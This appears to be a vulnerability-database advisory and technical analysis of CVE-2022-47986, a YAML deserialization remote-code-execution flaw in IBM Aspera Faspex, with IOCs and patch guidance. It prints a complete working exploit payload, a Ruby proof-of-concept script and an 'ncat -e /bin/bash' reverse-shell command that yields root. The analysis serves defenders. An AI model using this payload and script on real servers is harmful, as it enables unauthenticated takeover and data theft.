Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2022-47986

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

IBM Aspera Faspex 4.4.1 could allow a remote attacker to execute arbitrary code on the system, caused by a YAML deserialization flaw. By sending a specially crafted obsolete API call, an attacker could exploit this vulnerability to execute arbitrary code on the system. The obsolete API call was removed in Faspex 4.4.2 PL2. IBM X-Force ID: 243512.

Add Assessment

3
Ratings
Technical Analysis

This lives on the network perimeter and uses laughably old versions of software (like Ruby 1.9.3). I had more trouble preventing it from crashing than actually exploiting it. This also tends to store privileged information, since it’s a secure file transfer service. Kinda really bad.

General Information

Vendors

  • IBM

Products

  • Aspera Faspex

Exploited in the Wild

Reported by:
Technical Analysis

Description

On January 26, 2023, IBM posted an advisory for multiple security issues affecting its Aspera Faspex software. The most critical of these is CVE-2022-47986, which is a pre-authentication YAML deserialization vulnerability in Ruby on Rails code. The vulnerability carries a CVSS score of 9.8. On February 2, 2023, Maxwell Garrett from Assetnote, who discovered the flaw, posted vulnerability details that included a working proof of concept for CVE-2022-47986.

On February 12, 2023, Shadowserver detected exploitation attempts, and we’ve also seen reports that it’s been used in ransomware attacks. In light of active exploitation and the fact that Aspera Faspex is typically installed on the network perimeter, we strongly recommend patching urgently.

Affected products include:

  • IBM Aspera Faspex 4.4.2 Patch Level 1 (and below)

Technical analysis

We tested the public proof of concept against IBM Aspera Faspex version 4.4.1.178477, which according to IBM’s documentation, and our own observations, runs on very old software versions (for reference, Ruby 1.9.3 was released in 2011).

Embedded Components:
Apache Version: 2.4.54
Apache SSL Version: 1.1.1s
asctl Version: 2.1
Connect SDK Version: 3.9.7.175481
Mongrels Version: 1.2.0.pre2
MySQL Version: 5.7.37 with @global.sql_mode and @session.sql_mode set to STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION.
Rails Version: 2.3.18
Ruby Version: 1.9.3
Ruby SSL Version: 1.0.2t

The vulnerable code is found in the self.parse() function in /opt/aspera/faspex/lib/multi_server/relay_descriptor.rb, where the relay.params variable comes from the HTTP POST body:

    def self.parse(relay)
      file_list = relay.params[:package_file_list]
      relay.package_paths = file_list.collect{ |p|
        EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
      }
      enc_emails = relay.params.delete(:external_emails)
      relay.external_emails = YAML.load(enc_emails)
      relay.encryption = EConfiguration.require_ear?
    end

The user-supplied parameter, external_emails, is assigned to the variable enc_emails and then passed into YAML.load, which is an unsafe operation. Garrett developed the following YAML payload, taking advantage of Ruby objects that are available in the particular software version (with the payload id -a):

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "pew"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:PrettyPrint
             output: !ruby/object:Net::WriteAdapter
                 socket: &1 !ruby/module "Kernel"
                 method_id: :eval
             newline: "throw `id -a`"
             buffer: {}
             group_stack:
              - !ruby/object:PrettyPrint::Group
                break: true
         method_id: :breakable

We can test that payload in the interactive Ruby interpreter:

[root@localhost poc]# ruby --version
ruby 1.9.3p327 (2012-11-10 revision 37606) [x86_64-linux]

[root@localhost poc]# irb
irb(main):001:0> require 'yaml'
=> true
irb(main):002:0> require 'pp'
=> true
irb(main):003:0> require 'net/http'
=> true
irb(main):004:0> require 'rubygems/installer'
=> true
irb(main):005:0> YAML.load(File.read('./test.yml'))
ArgumentError: uncaught throw "uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\n"

We can also send the payload to the HTTP server, using a script similar to Garrett’s proof of concept:

require 'httparty'

if ARGV.length != 2
  $stderr.puts "Usage: #{$1} <url> <command>"
  exit 1
end

URL = "#{ARGV[0]}package_relay/relay_package"
COMMAND = ARGV[1]

PAYLOAD = <<-EOT
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "pew"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:PrettyPrint
             output: !ruby/object:Net::WriteAdapter
                 socket: &1 !ruby/module "Kernel"
                 method_id: :eval
             newline: "throw `#{ COMMAND }`"
             buffer: {}
             group_stack:
              - !ruby/object:PrettyPrint::Group
                break: true
         method_id: :breakable
EOT

UUID = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"

payload = {
        "package_file_list" => [
                "/"
        ],
        "external_emails" => PAYLOAD,
        "package_name" => "assetnote_pack",
        "package_note" => "hello from assetnote team",
        "original_sender_name" => "assetnote",
        "package_uuid" => UUID,
        "metadata_human_readable" => "Yes",
        "forward" => "pew",
        "metadata_json" => '{}',
        "delivery_uuid" => UUID,
        "delivery_sender_name" => "assetnote",
        "delivery_title" => "TEST",
        "delivery_note" => "TEST",
        "delete_after_download" => true,
        "delete_after_download_condition" => "IDK",
}

HTTParty.post(
  URL,
  body: payload,
)

Then we execute it against the chosen server with a command in the payload:

$ ruby ./poc.rb http://10.0.0.226:3000/aspera/faspex 'ncat -e /bin/bash 10.0.0.179 4444'

We can verify that it executes by catching the shell in another window:

ron@ronlab ~ $ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.226.
Ncat: Connection from 10.0.0.226:42286.
whoami
root

An important word of caution: This is running on a very (very) old version of Ruby, and running the payload was quite finicky in our experience — it crashed the entire application with a segmentation fault several times, for unclear reasons; we’d strongly advise against using this in a production environment.

IOCs

Logfiles can be found in the folder /opt/aspera/faspex/log by default. Entries related to PackageRelayController#relay_package should be considered suspicious:

Processing PackageRelayController#relay_package (for 10.0.0.179 at 2023-02-17 14:04:36) [POST]

Guidance

Aspera Faspex customers should upgrade to 4.4.2 Patch Level 2 immediately, without waiting for a typical patch cycle to occur. Because this is typically an internet-facing service and the vulnerability has been linked to ransomware group activity, we recommend taking the service offline if a patch cannot be installed right away.

References